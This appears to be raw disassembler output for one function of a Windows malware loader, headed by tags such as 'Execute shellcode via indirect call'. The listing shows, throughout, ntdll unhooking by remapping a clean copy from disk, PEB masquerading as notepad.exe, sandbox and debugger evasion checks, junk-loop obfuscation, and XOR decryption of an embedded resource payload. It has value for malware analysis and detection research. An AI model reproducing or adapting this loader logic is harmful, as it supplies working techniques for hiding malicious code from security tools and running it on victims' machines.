Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rbx
sub rsp, 0x418
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x380], xmm6
mov dword [rbp + 0x3b0], ecx
mov qword [rbp + 0x3b8], rdx
call fcn.140002cb0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x308], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x300], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x2f8], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x378], rax
cmp qword [rbp + 0x378], 0
jne 0x140001532
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x378], rax
mov ecx, 0xcdc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2f0], rax
mov dword [rbp + 0x370], 0
mov dword [rbp + 0x36c], 0
mov dword [rbp + 0x374], 0
jmp 0x1400015af
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x374]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x2f0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x374], 1
cmp dword [rbp + 0x374], 0x336
jle 0x140001563
mov dword [rbp + 0x374], 0
jmp 0x1400015f0
mov eax, dword [rbp + 0x374]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f0]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x370], eax
add dword [rbp + 0x374], 1
cmp dword [rbp + 0x374], 0x336
jle 0x1400015c7
mov dword [rbp + 0x374], 0
jmp 0x140001678
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x36c]
mov eax, dword [rbp + 0x374]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f0]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x10c]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movsd xmm0, qword [0x140006178]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.1400042d0
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x36c], eax
add dword [rbp + 0x374], 1
cmp dword [rbp + 0x374], 0x336
jle 0x140001608
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x36c]
movss xmm1, dword [0x140006180]
divss xmm0, xmm1
movss dword [rbp + 0x2ec], xmm0
pxor xmm4, xmm4
cvtss2sd xmm4, dword [rbp + 0x2ec]
movq rax, xmm4
movq xmm0, rax
call fcn.140003ca0
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x2e8], xmm0
mov rax, qword [rbp + 0x2f0]
mov rcx, rax
call sub.msvcrt.dll_free
cmp qword [rbp + 0x378], 0
je 0x140001e9a
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0xf0]
mov rax, qword [rbp + 0x2f8]
mov r10, qword [rbp + 0x378]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0xf0]
mov qword [rbp + 0x2e0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x2d8], rax
mov dword [rbp + 0x368], 0xffffffff
add dword [rbp + 0x368], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x117
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006188]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140004100
movq rax, xmm0
mov qword [rbp + 0x2d0], rax
cmp dword [rbp + 0x368], 0x7e
jle 0x140001774
mov rax, qword [rbp + 0x2d8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x2c8], rax
mov rax, qword [rbp + 0x2c8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x2c0], rax
mov rax, qword [rbp + 0x2e0]
mov qword [rbp + 0x2b8], rax
mov rax, qword [rbp + 0x2b8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2e0]
add rax, rdx
mov qword [rbp + 0x2b0], rax
mov word [rbp + 0x366], 0
jmp 0x140001e82
mov dword [rbp + 0x358], 0
mov dword [rbp + 0x2ac], 0x28d
mov dword [rbp + 0x2a8], 0x146
mov eax, dword [rbp + 0x2ac]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2a0], rax
mov dword [rbp + 0x360], 0
jmp 0x1400018d9
mov eax, dword [rbp + 0x360]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2a0]
add rdx, rax
mov eax, dword [rbp + 0x360]
mov dword [rdx], eax
add dword [rbp + 0x360], 1
mov eax, dword [rbp + 0x360]
cmp eax, dword [rbp + 0x2a8]
jl 0x1400018b0
mov dword [rbp + 0x360], 1
jmp 0x14000196b
mov eax, dword [rbp + 0x360]
mov dword [rbp + 0x35c], eax
jmp 0x140001942
mov edx, dword [rbp + 0x360]
mov eax, dword [rbp + 0x35c]
add edx, eax
mov eax, dword [rbp + 0x360]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0x35c]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2a0]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0x35c], 1
mov eax, dword [rbp + 0x2a8]
sub eax, dword [rbp + 0x360]
mov edx, dword [rbp + 0x360]
add edx, edx
lea ebx, [rdx + 1]
cdq
idiv ebx
cmp dword [rbp + 0x35c], eax
jle 0x140001901
add dword [rbp + 0x360], 1
mov eax, dword [rbp + 0x360]
cmp eax, dword [rbp + 0x2a8]
jl 0x1400018f3
cmp dword [rbp + 0x2ac], 2
jle 0x1400019af
mov eax, dword [rbp + 0x358]
lea edx, [rax + 1]
mov dword [rbp + 0x358], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2a0]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0x360], 1
jmp 0x140001a13
mov eax, dword [rbp + 0x360]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2a0]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001a0c
mov eax, dword [rbp + 0x360]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0x358]
lea edx, [rax + 1]
mov dword [rbp + 0x358], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2a0]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0x360], 1
mov eax, dword [rbp + 0x360]
cmp eax, dword [rbp + 0x2a8]
jl 0x1400019bb
mov dword [rbp + 0x29c], 2
mov dword [rbp + 0x354], 0
mov dword [rbp + 0x360], 0
jmp 0x140001a6f
mov eax, dword [rbp + 0x360]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2a0]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001a68
add dword [rbp + 0x354], 1
add dword [rbp + 0x360], 1
mov eax, dword [rbp + 0x360]
cmp eax, dword [rbp + 0x29c]
jl 0x140001a41
mov rax, qword [rbp + 0x2a0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x2b0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x2b0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x366]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x290], rax
mov rax, qword [rbp + 0x290]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001e71
mov dword [rbp + 0x350], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x348], xmm0
add dword [rbp + 0x350], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x350]
movsd xmm0, qword [0x140006190]
addsd xmm0, xmm1
mov rax, qword [0x140006198]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.1400042d0
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x350]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006190]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x348]
addsd xmm0, xmm1
movsd qword [rbp + 0x348], xmm0
cmp dword [rbp + 0x350], 0x334
jle 0x140001afc
movsd xmm1, qword [rbp + 0x348]
movsd xmm0, qword [0x1400061a0]
mulsd xmm0, xmm1
movsd qword [rbp + 0x348], xmm0
mov dword [rbp + 0xb8], 0
mov rax, qword [rbp + 0x290]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x290]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x2e0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0xb8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov ecx, 0x858
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x288], rax
mov dword [rbp + 0x340], 0
mov dword [rbp + 0x33c], 0
mov dword [rbp + 0x344], 0
jmp 0x140001c63
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x344]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x288]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x344], 1
cmp dword [rbp + 0x344], 0x215
jle 0x140001c17
mov dword [rbp + 0x344], 0
jmp 0x140001ca4
mov eax, dword [rbp + 0x344]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x288]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x340], eax
add dword [rbp + 0x344], 1
cmp dword [rbp + 0x344], 0x215
jle 0x140001c7b
mov dword [rbp + 0x344], 0
jmp 0x140001d2c
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x33c]
mov eax, dword [rbp + 0x344]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x288]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x274]
pxor xmm5, xmm5
cvtss2sd xmm5, xmm0
movq rax, xmm5
movsd xmm0, qword [0x140006178]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.1400042d0
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x33c], eax
add dword [rbp + 0x344], 1
cmp dword [rbp + 0x344], 0x215
jle 0x140001cbc
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x33c]
movss xmm1, dword [0x1400061a8]
divss xmm0, xmm1
movss dword [rbp + 0x284], xmm0
pxor xmm2, xmm2
cvtss2sd xmm2, dword [rbp + 0x284]
movq rax, xmm2
movq xmm0, rax
call fcn.140003ca0
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x280], xmm0
mov rax, qword [rbp + 0x288]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x290]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x290]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x2c0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x290]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x2e0]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov dword [rbp + 0x338], 0
jmp 0x140001e20
call sub.msvcrt.dll_rand
mov edx, eax
shl edx, 3
sub edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
movsd xmm1, qword [0x140006188]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003ec0
movq rax, xmm0
mov qword [rbp + 0x278], rax
add dword [rbp + 0x338], 1
cmp dword [rbp + 0x338], 0x1a3
jle 0x140001dde
mov edx, dword [rbp + 0xb8]
mov rax, qword [rbp + 0x290]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x290]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x2e0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0xb8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x366]
add eax, 1
mov word [rbp + 0x366], ax
mov rax, qword [rbp + 0x2b0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x366], ax
jb 0x140001868
mov dword [rbp + 0xbc], 0
mov rax, qword [rbp + 0x308]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x268], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0xbc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x268]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0xc8]
add rax, 0x3c
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x260]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x258], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x250], rax
mov rax, qword [rbp + 0x250]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x3851680
mov ecx, 0
call rax
mov qword [rbp + 0x258], rax
cmp qword [rbp + 0x258], 0
je 0x140002bdc
mov rax, qword [rbp + 0x258]
mov edx, 0x3851680
mov rcx, rax
call fcn.140004f80
mov rax, qword [rbp + 0x258]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov qword [rbp + 0x248], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x240], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x240]
mov r9d, 0x3000
mov r8d, 0x27e
mov edx, 0
call rax
mov qword [rbp + 0x248], rax
cmp qword [rbp + 0x248], 0
je 0x140002bdc
mov dword [rbp + 0x23c], 0x2e0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x230], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x228], rax
mov rax, qword [rbp + 0x228]
call rax
mov dword [rbp + 0x224], eax
mov eax, dword [rbp + 0x23c]
mov r8, qword [rbp + 0x230]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x228]
call rax
mov dword [rbp + 0x220], eax
mov eax, dword [rbp + 0x220]
sub eax, dword [rbp + 0x224]
cmp eax, 0x2ae
jbe 0x140002bdc
mov dword [rbp + 0x21c], 0x30f
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x210], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x208], rax
mov rax, qword [rbp + 0x208]
call rax
mov dword [rbp + 0x204], eax
mov eax, dword [rbp + 0x21c]
mov r8, qword [rbp + 0x210]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x208]
call rax
mov dword [rbp + 0x200], eax
mov eax, dword [rbp + 0x200]
sub eax, dword [rbp + 0x204]
cmp eax, 0x2dd
jbe 0x140002bdc
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x1f8], rax
cmp qword [rbp + 0x1f8], 0
je 0x14000221d
mov rax, qword [rbp + 0x1f8]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1f0], rax
mov rax, qword [rbp + 0x1f0]
mov ecx, 0
call rax
mov dword [rbp + 0x334], eax
cmp dword [rbp + 0x334], 0xffffffff
je 0x140002bdc
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x1e8], rax
cmp qword [rbp + 0x1e8], 0
je 0x140002bdc
mov rax, qword [rbp + 0x1e8]
mov edx, 0x62c
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x1e4], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x1d8]
mov ecx, 0
call rax
mov dword [rbp + 0x1d4], eax
cmp dword [rbp + 0x1d4], 0xffffffff
je 0x140002bdc
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1c8], rax
mov rax, qword [rbp + 0x1c8]
mov ecx, 0
call rax
mov dword [rbp + 0x1c4], eax
cmp dword [rbp + 0x1c4], 0xffffffff
je 0x140002bdc
mov dword [rbp + 0xb4], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1b8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0xb4]
mov r8, qword [rbp + 0x1b8]
mov rdx, rax
call r8
mov eax, dword [rbp + 0xb4]
cmp eax, 1
je 0x140002bdc
mov qword [rbp + 0x1b0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1a8], rax
mov rax, qword [rbp + 0x1a8]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x5288e80
mov ecx, 0
call rax
mov qword [rbp + 0x1b0], rax
cmp qword [rbp + 0x1b0], 0
je 0x140002bdc
mov rax, qword [rbp + 0x1b0]
mov edx, 0x5288e80
mov rcx, rax
call fcn.140004f80
mov rax, qword [rbp + 0x1b0]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov rax, qword [rbp + 0x300]
lea rdx, str.FindResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1a0], rax
lea rax, str.FBKIKJM
movzx eax, ax
mov rdx, rax
mov rax, qword [rbp + 0x1a0]
lea r8, str.FBKIKJM
mov ecx, 0
call rax
mov qword [rbp + 0x198], rax
mov rax, qword [rbp + 0x300]
lea rdx, str.LoadResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x190], rax
mov rax, qword [rbp + 0x198]
mov r8, qword [rbp + 0x190]
mov rdx, rax
mov ecx, 0
call r8
mov qword [rbp + 0x188], rax
mov rax, qword [rbp + 0x300]
lea rdx, str.SizeofResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x180], rax
mov rax, qword [rbp + 0x300]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x178], rax
mov rax, qword [rbp + 0x300]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x170], rax
mov rax, qword [rbp + 0x198]
mov r8, qword [rbp + 0x180]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x178]
mov r8d, 0
mov ecx, 0x40000
call rax
mov qword [rbp + 0x168], rax
mov rax, qword [rbp + 0x198]
mov r8, qword [rbp + 0x180]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x168]
mov r9, qword [rbp + 0x170]
mov r8, rdx
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x160], rax
mov rax, qword [rbp + 0x308]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x158], rax
mov dword [rbp + 0x330], 0xffffffff
mov ecx, 0xf68
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x150], rax
mov ecx, 0xf68
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x148], rax
add dword [rbp + 0x330], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x330]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x150]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x330]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x150]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x330]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x148]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003de0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x330], 0x1eb
jle 0x1400025d9
mov rax, qword [rbp + 0x198]
mov r8, qword [rbp + 0x180]
mov rdx, rax
mov ecx, 0
call r8
mov rcx, rax
mov rdx, qword [rbp + 0x188]
mov rax, qword [rbp + 0x160]
mov r9, qword [rbp + 0x158]
mov r8, rcx
mov rcx, rax
call r9
mov dword [rbp + 0x328], 0
mov dword [rbp + 0x324], 0
movabs rax, 0xa8634a14820b2e06
movabs rdx, 0xf29594890a591139
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x56e83ce85d8c7cc4
movabs rdx, 0x16e73424f28cdddb
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov dword [rbp - 0x20], 0xda775
movabs rax, 0x2ba00806b274dac0
movabs rdx, 0x63710f74b36ca8b2
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x9d9eea804fb008b5
movabs rdx, 0x4df67771dae3df36
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x3f802ac39583b0ff
movabs rdx, 0xfd7727a1143e86e0
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x98e2479228679190
movabs rdx, 0x77684b8e4bcba2f9
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x5a5bcb2d2c1e33de
movabs rdx, 0x8ed643f88f94550c
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0xa8de112a6ce3f78e
movabs rdx, 0xb357aa426ece80
mov qword [rbp + 0x9f], rax
mov qword [rbp + 0xa7], rdx
mov dword [rbp + 0x32c], 0
jmp 0x14000285c
mov eax, dword [rbp + 0x32c]
cdqe
movzx edx, byte [rbp + rax + 0x50]
mov eax, dword [rbp + 0x328]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x32c]
cdqe
mov byte [rbp + rax - 0x10], dl
cmp dword [rbp + 0x328], 0x22
jne 0x14000284e
mov dword [rbp + 0x328], 0
jmp 0x140002855
add dword [rbp + 0x328], 1
add dword [rbp + 0x32c], 1
mov eax, dword [rbp + 0x32c]
cmp eax, 0x5d
jbe 0x140002811
mov dword [rbp + 0x32c], 0
jmp 0x140002930
mov eax, dword [rbp + 0x32c]
movsxd rdx, eax
mov rax, qword [rbp + 0x160]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x324]
cdqe
movzx ecx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x32c]
movsxd rdx, eax
mov rax, qword [rbp + 0x160]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x324], 0x5d
jne 0x140002922
mov dword [rbp + 0x320], 0
jmp 0x14000290a
call sub.msvcrt.dll_rand
imul eax, eax, 0x2d8
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006188]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140004100
movq rax, xmm0
mov qword [rbp + 0x110], rax
add dword [rbp + 0x320], 1
cmp dword [rbp + 0x320], 0x297
jle 0x1400028c9
mov dword [rbp + 0x324], 0
jmp 0x140002929
add dword [rbp + 0x324], 1
add dword [rbp + 0x32c], 1
cmp dword [rbp + 0x32c], 0
js 0x140002876
mov rax, qword [rbp + 0x160]
mov qword [rbp + 0x140], rax
mov ecx, 0x910
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x138], rax
mov ecx, 0x910
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x130], rax
mov dword [rbp + 0x318], 0x243
mov dword [rbp + 0x31c], 0
jmp 0x1400029d0
call sub.msvcrt.dll_rand
